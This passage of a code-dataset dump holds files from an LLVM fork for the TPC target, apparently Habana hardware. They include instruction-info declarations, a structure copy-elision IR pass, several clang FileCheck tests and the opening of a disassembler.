hasCompositeImm(MCInstrInfo const &MCII, MCInst const &MCI);\n\n// Return whether insn is predicated\nbool isPredicated(MCInstrInfo const &MCII, MCInst const &MCI);\n\nbool hasOutOfSlotData(MCInstrInfo const &MCII, MCInst const &MCI);\n\n// Return whether insn has a field in imm.\nbool hasImmField(MCInstrInfo const &MCII, MCInst const &MCI);\n\n// Return imm field start bit.\nunsigned getImmFieldStart(MCInstrInfo const &MCII, MCInst const &MCI);\n\n// Return imm field end bit.\nunsigned getImmFieldEnd(MCInstrInfo const &MCII, MCInst const &MCI);\n\n// Return operand number with imm field.\nunsigned getImmFieldOpNum(MCInstrInfo const &MCII, MCInst const &MCI);\n\nunsigned getImmOpCount(MCInstrInfo const &MCII, MCInst const &MCI);\nunsigned getSecondImmOp(MCInstrInfo const &MCII, MCInst const &MCI);\nunsigned getThirdImmOp(MCInstrInfo const &MCII, MCInst const &MCI);\nunsigned getFirstImmBits(MCInstrInfo const &MCII, MCInst const &MCI);\nunsigned getSecondImmBits(MCInstrInfo const &MCII, MCInst const &MCI);\nunsigned getThirdImmBits(MCInstrInfo const &MCII, MCInst const &MCI);\nunsigned getLanesCount(MCInstrInfo const &MCII, MCInst const &MCI);\n\nTPCII::OpType getOpType(const MCInstrDesc &Desc, const MCInst &I);\nTPCII::OpType getOpType(const MCInstrDesc &Desc, const MachineInstr &I);\nbool isInstTypeSigned(const MCInstrDesc &Desc, const MCInst &I);\nbool isInstTypeSigned(const MCInstrDesc &Desc, const MachineInstr &I);\nbool useImmSlotForImm(const MCOperandInfo &IInfo, int64_t imm, bool isSigned);\n\nbool isVpuInstrWithSrcCD(unsigned opcode);\n}\n\n// Return whether insn is LOOKUP_C1C2 or LOOKUP_C0\nbool isLookupC(MCInstrInfo const &MCII, MCInst const &MCI);\n}\n\n#endif // LLVM_LIB_TARGET_TPC_MCTARGETDESC_TPCMCINSTRINFO_H\n" }, { "alpha_fraction": 0.5563910007476807, "alphanum_fraction": 0.5814536213874817, "avg_line_length": 38.900001525878906, "blob_id": "3fba7d7318350eda7185e97b94d492fbc619cf56", "content_id": "4a1c9d0208d27cf5ae88d7b956f489f58e79f731", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 399, "license_type": "permissive", "max_line_length": 98, "num_lines": 10, "path": "/clang/test/RC99/driver/max_tensors.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %tpc_clang -S -emit-llvm %s -o - -### 2>&1 | FileCheck -check-prefix DEFAULT %s\n// RUN: %tpc_clang -S -emit-llvm -march=dali %s -o - -### 2>&1 | FileCheck -check-prefix DALI %s\n// RUN: %tpc_clang -S -emit-llvm -march=gaudi %s -o - -### 2>&1 | FileCheck -check-prefix GAUDI %s\n\nvoid main(int x) {\n}\n\n// DEFAULT: -max-tensors{{.+}}8\n// DALI: -max-tensors{{.+}}8\n// GAUDI: -max-tensors{{.+}}16\n" }, { "alpha_fraction": 0.5273349285125732, "alphanum_fraction": 0.5782220959663391, "avg_line_length": 34.025238037109375, "blob_id": "1a93d0a9e14d908dbfccdea3d1f2896a60ec41dc", "content_id": "8926a98964236e99f2612b454d6c6763b35eff22", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 11103, "license_type": "permissive", "max_line_length": 107, "num_lines": 317, "path": "/llvm/lib/Target/TPC/TPCCopyElision.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- TPCCopyElision.cpp -------------------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// Frontend generates extra copies when it deals with intrinsics that return\n// values of structure type. For instance, the piece of IR:\n//\n// %tmp = alloca %struct._int256, align 256\n// %252 = bitcast %struct._int256* %tmp to i8*\n// call void @llvm.lifetime.start.p0i8(i64 1024, i8* %252)\n// store %struct._int256 %270, %struct._int256 *%tmp, align 256\n// %271 = bitcast %struct._int256* %acc0 to i8*\n// %272 = bitcast %struct._int256* %tmp to i8*\n// call void @llvm.memcpy.p0i8.p0i8.i32(i8* align 256 %271, i8* align 256 %272, i32 1024, i1 false)\n// %273 = bitcast %struct._int256* %tmp to i8*\n// call void @llvm.lifetime.end.p0i8(i64 1024, i8* %273)\n//\n// can actually be replaced with:\n//\n// store %struct._int256 %270, %struct._int256* %acc0, align 256\n//\n// Similarly, argument of structure type involves extra copy. For instance, the\n// IR piece:\n//\n// %tmp10 = alloca %struct._float64_pair_t, align 256\n// %58 = bitcast %struct._float64_pair_t* %tmp10 to i8*\n// %59 = bitcast %struct._float64_pair_t* %result to i8*\n// call void @llvm.memcpy.p0i8.p0i8.i32(i8* align 256 %58, i8* align 256 %59, i32 512, i1 false)\n// %60 = bitcast %struct._float64_pair_t* %tmp10 to <128 x float>*\n// %61 = load <128 x float>, <128 x float>* %60, align 256\n//\n// can be replaced with:\n//\n// %60 = bitcast %struct._float64_pair_t* %result to <128 x float>*\n// %61 = load <128 x float>, <128 x float>* %60, align 256\n//\n// This pass removes the extra IR nodes in hope that it can help code\n// generation.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"TPCTargetMachine.h\"\n#include \"llvm/IR/Function.h\"\n#include \"llvm/IR/Instruction.h\"\n#include \"llvm/IR/InstIterator.h\"\n#include \"llvm/IR/IRBuilder.h\"\n#include \"llvm/IR/Module.h\"\n#include \"llvm/Pass.h\"\n#include \"llvm/PassRegistry.h\"\n#include \"llvm/Support/Debug.h\"\n\n#define DEBUG_TYPE \"copyelision\"\n\nusing namespace llvm;\n\nstatic cl::opt<bool> EnableCopyElision(\"tpc-copy-elision\",\n cl::Hidden, cl::ZeroOrMore, cl::init(true));\n\nnamespace {\nstruct TpcCopyElision : public FunctionPass {\n static char ID; // Pass identification, replacement for typeid\n\n TpcCopyElision() : FunctionPass(ID) {}\n\n bool runOnFunction(Function &F) override;\n};\n}\n\n\nchar TpcCopyElision::ID = 0;\nINITIALIZE_PASS(TpcCopyElision, \"copyelide\",\n \"Structure copy removal\", false, false)\n\n FunctionPass *llvm::createTpcCopyElision() {\n return new TpcCopyElision();\n}\n\n/// Checks if the given value is a temporary that stores function return value\n/// of structure type.\n/// \\param V The value under test.\n/// \\param StI StoreInst that make write to this value. Valid only if the\n/// function returns True.\n/// \\param TempUsers Array of instructions which should be deleted when the\n/// value is removed. Valid only if the function returns True.\n///\nstatic bool isReturnTempValue(Value *V, StoreInst *&StI, SmallVectorImpl<Instruction *> &TempUsers) {\n StI = nullptr;\n TempUsers.clear();\n\n // Temp value is an alloca that may be used only in:\n // - start lifetime call, like:\n // %252 = bitcast %struct._int256* %tmp to i8*\n // call void @llvm.lifetime.start.p0i8(i64 1024, i8* %252)\n //\n // - one store operation, like:\n // store %struct._int256 %270, %struct._int256* %tmp, align 256\n // where the stored value (%270) is a known transformation of some\n // intrinsic call.\n // %262 = call <256 x i32> @llvm.tpc.mac.x2.zp.v256i32.v256i8.i1(...)\n // %263 = shufflevector <256 x i32> %262, <256 x i32> undef, <64 x i32> <i32 0, ... i32 63>\n // %264 = shufflevector <256 x i32> %262, <256 x i32> undef, <64 x i32> <i32 64, ... i32 127>\n // %265 = shufflevector <256 x i32> %262, <256 x i32> undef, <64 x i32> <i32 128, ... i32 191>\n // %266 = shufflevector <256 x i32> %262, <256 x i32> undef, <64 x i32> <i32 192, ... i32 255>\n // %267 = insertvalue %struct._int256 undef, <64 x i32> %263, 0\n // %268 = insertvalue %struct._int256 %267, <64 x i32> %264, 1\n // %269 = insertvalue %struct._int256 %268, <64 x i32> %265, 2\n // %270 = insertvalue %struct._int256 %269, <64 x i32> %266, 3\n //\n // - as a source in one memcpy operation:\n // %272 = bitcast %struct._int256* %tmp to i8*\n // call void @llvm.memcpy.p0i8.p0i8.i32(i8* align 256 %271, i8* align 256 %272, i32 1024, i1 false)\n //\n // - end lifetime call:\n // %273 = bitcast %struct._int256* %tmp to i8*\n // call void @llvm.lifetime.end.p0i8(i64 1024, i8* %273)\n\n auto *Inst = dyn_cast<AllocaInst>(V);\n if (!isa<AllocaInst>(V))\n return false;\n\n bool Seen_memcpy = false;\n bool Seen_store = false;\n for (User *U : Inst->users()) {\n if (auto BC = dyn_cast<BitCastInst>(U)) {\n if (BC->getNumUses() != 1)\n return false;\n auto BCUser = dyn_cast<CallInst>(*BC->user_begin());\n if (!BCUser)\n return false;\n Function *F = BCUser->getCalledFunction();\n if (!F->isIntrinsic())\n return false;\n switch (F->getIntrinsicID()) {\n case Intrinsic::lifetime_start:\n case Intrinsic::lifetime_end:\n TempUsers.push_back(BCUser);\n TempUsers.push_back(BC);\n break;\n case Intrinsic::memcpy:\n if (Seen_memcpy)\n return false;\n Seen_memcpy = true;\n TempUsers.push_back(BCUser);\n TempUsers.push_back(BC);\n if (BCUser->getOperand(1) != BC)\n return false;\n if (auto DPtr = dyn_cast<BitCastInst>(BCUser->getOperand(0)))\n if (DPtr->getNumUses() != 1)\n return false;\n else\n TempUsers.push_back(DPtr);\n else\n return false;\n break;\n default:\n return false;\n }\n } else if (auto St = dyn_cast<StoreInst>(U)) {\n if (Seen_store)\n return false;\n Seen_store = true;\n if (St->getPointerOperand() != Inst)\n return false;\n StI = St;\n } else {\n // This alloca is used in some other way.\n return false;\n }\n }\n TempUsers.push_back(Inst);\n return Seen_memcpy && Seen_store;\n}\n\nstatic bool isArgumentTempValue(Value *V, BitCastInst *&BCI, SmallVectorImpl<Instruction *> &TempUsers) {\n BCI = nullptr;\n TempUsers.clear();\n\n auto *Inst = dyn_cast<AllocaInst>(V);\n if (!isa<AllocaInst>(V))\n return false;\n\n bool Seen_memcpy = false;\n bool Seen_load = false;\n for (User *U : Inst->users()) {\n if (auto BC = dyn_cast<BitCastInst>(U)) {\n if (BC->getNumUses() != 1)\n return false;\n if (auto Call = dyn_cast<CallInst>(*BC->user_begin())) {\n Function *F = Call->getCalledFunction();\n if (!F->isIntrinsic())\n return false;\n if (F->getIntrinsicID() != Intrinsic::memcpy)\n return false;\n // %58 = bitcast %struct._float64_pair_t* %tmp10 to i8*\n // %59 = bitcast %struct._float64_pair_t* %result to i8*\n // call void @llvm.memcpy.p0i8.p0i8.i32(i8* align 256 %58, i8* align 256 %59, i32 512, i1 false)\n if (Seen_memcpy)\n return false;\n Seen_memcpy = true;\n TempUsers.push_back(Call);\n TempUsers.push_back(BC);\n if (Call->getOperand(0) != BC)\n return false;\n if (auto DPtr = dyn_cast<BitCastInst>(Call->getOperand(1)))\n if (DPtr->getNumUses() != 1)\n return false;\n else\n TempUsers.push_back(DPtr);\n else\n return false;\n } else if (auto BCUser = dyn_cast<LoadInst>(*BC->user_begin())) {\n // %60 = bitcast %struct._float64_pair_t* %tmp10 to <128 x float>*\n // %61 = load <128 x float>, <128 x float>* %60, align 256\n BCI = BC;\n Seen_load = true;\n } else {\n return false;\n }\n } else {\n // This alloca is used in some other way.\n return false;\n }\n }\n TempUsers.push_back(Inst);\n return Seen_memcpy && Seen_load;\n}\n\n/// Check if the given memcpy copies a value of structure type.\nstatic bool isOnlyCopy(const MemCpyInst *MemCopy, Value *&Dest, Value *&Src) {\n Value *DestVal = MemCopy->getOperand(0);\n Value *SrcVal = MemCopy->getOperand(1);\n Value *SizeVal = MemCopy->getOperand(2);\n auto Size = dyn_cast<ConstantInt>(SizeVal);\n if (!Size)\n return false;\n auto DestBitCast = dyn_cast<BitCastInst>(DestVal);\n if (!DestBitCast)\n return false;\n auto SrcBitCast = dyn_cast<BitCastInst>(SrcVal);\n if (!SrcBitCast)\n return false;\n Dest = DestBitCast->getOperand(0);\n Src = SrcBitCast->getOperand(0); // Probably temporary\n Type *DestType = Dest->getType();\n Type *SrcType = Src->getType();\n if (DestType != SrcType)\n return false;\n PointerType *PTy = dyn_cast<PointerType>(DestType);\n if (!PTy)\n return false;\n if (!PTy->getElementType()->isStructTy())\n return false;\n\n // TODO: check size.\n return true;\n}\n\nbool TpcCopyElision::runOnFunction(Function &F) {\n if (!EnableCopyElision)\n return false;\n\n if (skipFunction(F))\n return false;\n\n bool Changed = false;\n\n for (BasicBlock &BB : F) {\n SmallVector<Instruction *, 16> ToRemove;\n for (Instruction &I : BB) {\n if (auto *Call = dyn_cast<MemCpyInst>(&I)) {\n Value *Dest = nullptr;\n Value *Src = nullptr;\n if (isOnlyCopy(Call, Dest, Src)) {\n StoreInst *StI = nullptr;\n BitCastInst *LdI = nullptr;\n SmallVector<Instruction *, 10> TempUsers;\n if (isReturnTempValue(Src, StI, TempUsers)) {\n assert(StI);\n assert(!TempUsers.empty());\n LLVM_DEBUG(dbgs() << \"Copy elision: \" << *StI << '\\n');\n StI->getOperand(1)->replaceAllUsesWith(Dest);\n LLVM_DEBUG(dbgs() << \" To: \" << *StI << '\\n');\n LLVM_DEBUG(\n for (auto I : TempUsers)\n dbgs() << \" Erase: \" << *I << '\\n';\n );\n ToRemove.append(TempUsers.begin(), TempUsers.end());\n Changed = true;\n } else if (isArgumentTempValue(Dest, LdI, TempUsers)) {\n assert(LdI);\n assert(!TempUsers.empty());\n LLVM_DEBUG(dbgs() << \"Copy elision: \" << *LdI << '\\n');\n LdI->getOperand(0)->replaceAllUsesWith(Src);\n LLVM_DEBUG(dbgs() << \" To: \" << *LdI << '\\n');\n LLVM_DEBUG(\n for (auto I : TempUsers)\n dbgs() << \" Erase: \" << *I << '\\n';\n );\n ToRemove.append(TempUsers.begin(), TempUsers.end());\n Changed = true;\n }\n }\n }\n }\n\n for (auto I : ToRemove) {\n LLVM_DEBUG(dbgs() << \" Remove: \" << *I << '\\n';);\n I->eraseFromParent();\n }\n }\n\n return Changed;\n}\n" }, { "alpha_fraction": 0.4334811568260193, "alphanum_fraction": 0.5199556350708008, "avg_line_length": 31.214284896850586, "blob_id": "9e54c11f47390c19576dc994e07955e98038f55d", "content_id": "cefceedea78c58b14443fe5528ee7b47753fd91a", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 902, "license_type": "permissive", "max_line_length": 106, "num_lines": 28, "path": "/clang/test/RC99/Intrinsics/s_i16_mac.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\n\nvoid main(signed short x0, signed short x1, int dest, _Bool pred) {\n signed __local *dptr = (signed __local *)dest;\n signed res = 0;\n\n res = s_i16_mac_s_s(x0, x1, res, 1);\n *dptr++ = res;\n // CHECK: mac.i16 st %S{{[0-9]+}}, %S0, %S1, %SP0\n\n res = s_i16_mac_s_s(x0, 1, res, 1);\n *dptr++ = res;\n // CHECK: mac.i16 st %S{{[0-9]+}}, %S0, 0x1, %SP0\n\n res = s_i16_mac_s_s(x0, 1, res, 0);\n *dptr++ = res;\n // CHECK: mac.i16 %S{{[0-9]+}}, %S0, 0x1, %SP0\n\n res = s_i16_mac_s_s_b(x0, x1, res, 1, pred, 0);\n *dptr++ = res;\n // CHECK: mac.i16 st %S{{[0-9]+}}, %S0, %S1, %SP{{[0-9]+}}\n\n res = s_i16_mac_s_s_b(x0, 2, res, 0, pred, 0);\n *dptr++ = res;\n // CHECK: mac.i16 %S{{[0-9]+}}, %S0, 0x2, %SP{{[0-9]+}}\n}\n" }, { "alpha_fraction": 0.6054053902626038, "alphanum_fraction": 0.6594594717025757, "avg_line_length": 29.83333396911621, "blob_id": "3aa21e8676e3f1943ac0a9186c93792857292f9a", "content_id": "be35b68d298fb9161d261ef83e5bd65c2e5fb291", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 185, "license_type": "permissive", "max_line_length": 64, "num_lines": 6, "path": "/clang/test/RC99/utils/gen_err-07.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: not %intr-gen %s 2>&1 | FileCheck %s\n\nint func_01(bool polarity=1);\n\n// CHECK: line 3 error: Default argument of 'polarity' must be 0\n// CHECK: > int func_01(bool polarity=1);\n" }, { "alpha_fraction": 0.6172957420349121, "alphanum_fraction": 0.6417286396026611, "avg_line_length": 40.05376434326172, "blob_id": "cc07f7fcfdb57d9ab9c29d6bc468492452d0588f", "content_id": "1ee9d91f06bd50f977bf8e20de768bfb3f440796", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 106905, "license_type": "permissive", "max_line_length": 181, "num_lines": 2604, "path": "/llvm/lib/Target/TPC/Disassembler/TPCDisassembler.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- TPCDisassembler.cpp - Disassembler for x86 and x86_64 -------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This file is part of the TPC Disassembler.\n// It contains code to translate the data produced by the decoder into\n// MCInsts.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"TPC.h\"\n#include \"TPCSubtarget.h\"\n#include \"MCTargetDesc/TPCMCTargetDesc.h\"\n#include \"MCTargetDesc/TPCInstrDecomposer.h\"\n#include \"llvm-c/Disassembler.h\"\n#include \"llvm/ADT/APInt.h\"\n#include \"llvm/ADT/ArrayRef.h\"\n#include \"llvm/ADT/SmallVector.h\"\n#include \"llvm/ADT/Triple.h\"\n#include \"llvm/BinaryFormat/ELF.h\"\n#include \"llvm/MC/MCAsmInfo.h\"\n#include \"llvm/MC/MCContext.h\"\n#include \"llvm/MC/MCDisassembler/MCDisassembler.h\"\n#include \"llvm/MC/MCDisassembler/MCRelocationInfo.h\"\n#include \"llvm/MC/MCDisassembler/MCSymbolizer.h\"\n#include \"llvm/MC/MCExpr.h\"\n#include \"llvm/MC/MCFixedLenDisassembler.h\"\n#include \"llvm/MC/MCInst.h\"\n#include \"llvm/MC/MCInstPrinter.h\"\n#include \"llvm/MC/MCInstrDesc.h\"\n#include \"llvm/MC/MCInstrInfo.h\"\n#include \"llvm/MC/MCInstrItineraries.h\"\n#include \"llvm/MC/MCRegisterInfo.h\"\n#include \"llvm/MC/MCSchedule.h\"\n#include \"llvm/MC/MCSubtargetInfo.h\"\n#include \"llvm/Support/Debug.h\"\n#include \"llvm/Support/ErrorHandling.h\"\n#include \"llvm/Support/FormattedStream.h\"\n#include \"llvm/Support/TargetRegistry.h\"\n#include \"llvm/Support/raw_ostream.h\"\n#include <algorithm>\n#include <bitset>\n#include <cassert>\n#include <cstddef>\n#include <cstdint>\n#include <iostream>\n#include <iterator>\n#include <vector>\n\nusing namespace llvm;\n\n#define DEBUG_TYPE \"tpc-disassembler\"\n\nusing DecodeStatus = llvm::MCDisassembler::DecodeStatus;\n\nconst unsigned FlagSPU = 0;\nconst unsigned FlagVPU = 1;\nconst unsigned FlagLDU = 2;\nconst unsigned FlagSTU = 3;\n\n\nunsigned getSPUOpCode(uint64_t Inst) {\n Inst >>= TPCII::SPUOpCodeStart;\n Inst &= ((1 << TPCII::SPUOpCodeSize) - 1);\n return static_cast<unsigned>(Inst);\n}\n\nunsigned getVPUOpCode(uint64_t Inst) {\n Inst >>= TPCII::VpuOpCodeStart;\n Inst &= ((1 << TPCII::VpuOpCodeSize) - 1);\n return static_cast<unsigned>(Inst);\n}\n\nstruct LoopExtraValues {\n uint64_t Address;\n bool MayCompress;\n uint8_t Comparison;\n uint16_t Offset;\n uint64_t Target;\n uint32_t Start; \n uint32_t Boundary; \n uint32_t Step; \n};\n\nstruct JmpExtraValues {\n uint64_t Address;\n bool MayCompress;\n uint8_t Predicate;\n uint8_t Polarity;\n int32_t Imm;\n};\n\nnamespace llvm {\n\nclass MCInst;\nclass MCOperand;\nclass MCSubtargetInfo;\nclass Twine;\n\n//===----------------------------------------------------------------------===//\n// TPCDisassembler\n//===----------------------------------------------------------------------===//\n\nclass TPCDisassembler : public MCDisassembler {\nprivate:\n std::unique_ptr<MCInstrInfo const> const MCII;\n mutable uint32_t Immediate;\npublic:\n TPCDisassembler(const MCSubtargetInfo &STI, MCContext &Ctx,\n MCInstrInfo const *MCII) :\n MCDisassembler(STI, Ctx), MCII(MCII) {}\n\n ~TPCDisassembler() override = default;\n\n uint32_t getImmediate() const { return Immediate; }\n DecodeStatus getInstruction(MCInst &MI, uint64_t &Size,\n ArrayRef<uint8_t> Bytes, uint64_t Address,\n raw_ostream &CStream) const override;\nprivate:\n DecodeStatus tryDecodeLoopInstruction(MCInst &instr, uint64_t &size,\n ArrayRef<uint8_t> Bytes, uint64_t Address,\n raw_ostream &vStream,\n raw_ostream &cStream) const;\n};\n\n//===----------------------------------------------------------------------===//\n// TPCSymbolizer\n//===----------------------------------------------------------------------===//\n\nclass TPCSymbolizer : public MCSymbolizer {\nprivate:\n void *DisInfo;\n\npublic:\n TPCSymbolizer(MCContext &Ctx, std::unique_ptr<MCRelocationInfo> &&RelInfo,\n void *disInfo)\n : MCSymbolizer(Ctx, std::move(RelInfo)), DisInfo(disInfo) {}\n\n bool tryAddingSymbolicOperand(MCInst &Inst, raw_ostream &cStream,\n int64_t Value, uint64_t Address,\n bool IsBranch, uint64_t Offset,\n uint64_t InstSize) override;\n void tryAddingPcLoadReferenceComment(raw_ostream &cStream,\n int64_t Value,\n uint64_t Address) override;\n};\n\n} // end namespace llvm\n\n\nstatic MCDisassembler::DecodeStatus decodeMovLd(MCInst &Inst, uint64_t insn,\n uint64_t Address, const void *Decoder);\nstatic MCDisassembler::DecodeStatus decodeMovSpu(MCInst &Inst, uint64_t insn,\n uint64_t Address, const void *Decoder);\nstatic MCDisassembler::DecodeStatus decodeMovVpu(MCInst &Inst, uint64_t insn,\n uint64_t Address, const void *Decoder);\nstatic MCDisassembler::DecodeStatus decodeConvertScalar(MCInst &Inst,\n uint64_t insn,\n uint64_t Address,\n const void *Decoder);\nstatic MCDisassembler::DecodeStatus decodeConvertIntScalar(MCInst &Inst, uint64_t insn,\n uint64_t Address, const void *Decoder);\nstatic MCDisassembler::DecodeStatus decodeConvertIntVector(MCInst &Inst, uint64_t insn,\n uint64_t Address, const void *Decoder);\nstatic MCDisassembler::DecodeStatus decodeAdd(MCInst &Inst, uint64_t insn,\n uint64_t Address, const void *Decoder);\nstatic MCDisassembler::DecodeStatus decodeSub(MCInst &Inst, uint64_t insn,\n uint64_t Address, const void *Decoder);\nstatic MCDisassembler::DecodeStatus decodeLdTnsr(MCInst &Inst, uint64_t insn,\n uint64_t Address,\n const void *Decoder);\nstatic MCDisassembler::DecodeStatus decodeStTnsr(MCInst &Inst, uint64_t insn,\n uint64_t Address, const void *Decoder);\nstatic MCDisassembler::DecodeStatus decodeMovGroup(MCInst &Inst, uint64_t insn,\n uint64_t Address,\n const void *Decoder);\nstatic MCDisassembler::DecodeStatus decodeMovDualGroup(MCInst &Inst,\n uint64_t insn,\n uint64_t Address, const void *Decoder);\nstatic MCDisassembler::DecodeStatus decodeUdivAll(MCInst &Inst, uint64_t insn,\n uint64_t Address, const void *Decoder);\nstatic MCDisassembler::DecodeStatus decodeLookupLutPtr(MCInst &Inst, uint64_t insn,\n uint64_t Address, const void *Decoder);\nstatic MCDisassembler::DecodeStatus decodeNearbyint(MCInst &Inst, uint64_t insn,\n uint64_t Address, const void *Decoder);\nstatic MCDisassembler::DecodeStatus decodeLD_G(MCInst &Inst, uint64_t insn,\n uint64_t Address, const void *Decoder);\nstatic MCDisassembler::DecodeStatus decodeFclass(MCInst &Inst, uint64_t insn,\n uint64_t Address, const void *Decoder);\n\n\nstatic const unsigned RegisterTableSPU[] = {\n // 0-35 - SRF\n TPC::S0, TPC::S1, TPC::S2, TPC::S3, TPC::S4, TPC::S5, TPC::S6, TPC::S7,\n TPC::S8, TPC::S9, TPC::S10, TPC::S11, TPC::S12, TPC::S13, TPC::S14, TPC::S15,\n TPC::S16, TPC::S17, TPC::S18, TPC::S19, TPC::S20, TPC::S21, TPC::S22, TPC::S23,\n TPC::S24, TPC::S25, TPC::S26, TPC::S27, TPC::S28, TPC::S29, TPC::S30, TPC::S31,\n TPC::S32, TPC::S33, TPC::S34, TPC::S35, ~0U, ~0U, ~0U, ~0U,\n TPC::S_LFSR, TPC::S_LFSR_NO_CHANGE, ~0U, ~0U, ~0U, ~0U, ~0U, ~0U,\n TPC::SP0, TPC::SP1, TPC::SP2, TPC::SP3, TPC::SP4, TPC::SP5, TPC::SP6, TPC::SP7,\n TPC::SP8, TPC::SP9, TPC::SP10, TPC::SP11, TPC::SP12, TPC::SP13, TPC::SP14, TPC::SP15,\n TPC::I0, TPC::I1, TPC::I2, TPC::I3, TPC::I4, TPC::I5, TPC::I6, TPC::I7,\n TPC::I8, TPC::I9, TPC::I10, TPC::I11, TPC::I12, TPC::I13, TPC::I14, TPC::I15,\n TPC::I16, TPC::I17, TPC::I18, TPC::I19, TPC::I20, TPC::I21, TPC::I22, TPC::I23,\n TPC::I24, TPC::I25, TPC::I26, TPC::I27, TPC::I28, TPC::I29, TPC::I30, TPC::I31,\n TPC::AD0, TPC::AD1, TPC::AD2, TPC::AD3, TPC::AD4, TPC::AD5, TPC::AD6, TPC::AD7,\n};\n\nstatic const unsigned RegisterTableVPU[] = {\n // 0-44 - VRF\n TPC::V0, TPC::V1, TPC::V2, TPC::V3, TPC::V4, TPC::V5, TPC::V6, TPC::V7,\n TPC::V8, TPC::V9, TPC::V10, TPC::V11, TPC::V12, TPC::V13, TPC::V14, TPC::V15,\n TPC::V16, TPC::V17, TPC::V18, TPC::V19, TPC::V20, TPC::V21, TPC::V22, TPC::V23,\n TPC::V24, TPC::V25, TPC::V26, TPC::V27, TPC::V28, TPC::V29, TPC::V30, TPC::V31,\n TPC::V32, TPC::V33, TPC::V34, TPC::V35, TPC::V36, TPC::V37, TPC::V38, TPC::V39,\n TPC::LFSR, TPC::LFSR_NO_CHANGE, TPC::V_LANE_ID_32, TPC::V_LANE_ID_16, TPC::V_LANE_ID_8,\n // 45-63 - Reserved\n ~0U, ~0U, ~0U,\n ~0U, ~0U, ~0U, ~0U, ~0U, ~0U, ~0U, ~0U,\n ~0U, ~0U, ~0U, ~0U, ~0U, ~0U, ~0U, ~0U,\n // 64-99 - SRF\n TPC::S0, TPC::S1, TPC::S2, TPC::S3, TPC::S4, TPC::S5, TPC::S6, TPC::S7,\n TPC::S8, TPC::S9, TPC::S10, TPC::S11, TPC::S12, TPC::S13, TPC::S14, TPC::S15,\n TPC::S16, TPC::S17, TPC::S18, TPC::S19, TPC::S20, TPC::S21, TPC::S22, TPC::S23,\n TPC::S24, TPC::S25, TPC::S26, TPC::S27, TPC::S28, TPC::S29, TPC::S30, TPC::S31,\n TPC::S32, TPC::S33, TPC::S34, TPC::S35,\n // 100-126 - Reserved\n ~0U, ~0U, ~0U, ~0U,\n TPC::S_LFSR, TPC::S_LFSR_NO_CHANGE, ~0U, ~0U, ~0U, ~0U, ~0U, ~0U,\n ~0U, ~0U, ~0U, ~0U, ~0U, ~0U, ~0U, ~0U,\n ~0U, ~0U, ~0U, ~0U, ~0U, ~0U, ~0U,\n // 127 - Immediate\n ~0U,\n // 128-159 - IRF\n TPC::I0, TPC::I1, TPC::I2, TPC::I3, TPC::I4, TPC::I5, TPC::I6, TPC::I7,\n TPC::I8, TPC::I9, TPC::I10, TPC::I11, TPC::I12, TPC::I13, TPC::I14, TPC::I15,\n TPC::I16, TPC::I17, TPC::I18, TPC::I19, TPC::I20, TPC::I21, TPC::I22, TPC::I23,\n TPC::I24, TPC::I25, TPC::I26, TPC::I27, TPC::I28, TPC::I29, TPC::I30, TPC::I31,\n // 160-167 - ADRF\n TPC::AD0, TPC::AD1, TPC::AD2, TPC::AD3, TPC::AD4, TPC::AD5, TPC::AD6, TPC::AD7,\n // 168-223 - Reserved\n ~0U, ~0U, ~0U, ~0U, ~0U, ~0U, ~0U, ~0U,\n ~0U, ~0U, ~0U, ~0U, ~0U, ~0U, ~0U, ~0U,\n ~0U, ~0U, ~0U, ~0U, ~0U, ~0U, ~0U, ~0U,\n ~0U, ~0U, ~0U, ~0U, ~0U, ~0U, ~0U, ~0U,\n ~0U, ~0U, ~0U, ~0U, ~0U, ~0U, ~0U, ~0U,\n ~0U, ~0U, ~0U, ~0U, ~0U, ~0U, ~0U, ~0U,\n ~0U, ~0U, ~0U, ~0U, ~0U, ~0U, ~0U, ~0U,\n // 224-239 - SPRF\n TPC::SP0, TPC::SP1, TPC::SP2, TPC::SP3, TPC::SP4, TPC::SP5, TPC::SP6, TPC::SP7,\n TPC::SP8, TPC::SP9, TPC::SP10, TPC::SP11, TPC::SP12, TPC::SP13, TPC::SP14, TPC::SP15,\n // 240-255 - VPRF\n TPC::VP0, TPC::VP1, TPC::VP2, TPC::VP3, TPC::VP4, TPC::VP5, TPC::VP6, TPC::VP7,\n TPC::VP8, TPC::VP9, TPC::VP10, TPC::VP11, TPC::VP12, TPC::VP13, TPC::VP14, TPC::VP15\n};\n\nstatic const unsigned PredicateTable[] = {\n TPC::SP0, TPC::SP1 ,TPC::SP2, TPC::SP3, TPC::SP4, TPC::SP5, TPC::SP6, TPC::SP7,\n TPC::SP8, TPC::SP9, TPC::SP10, TPC::SP11, TPC::SP12, TPC::SP13, TPC::SP14, 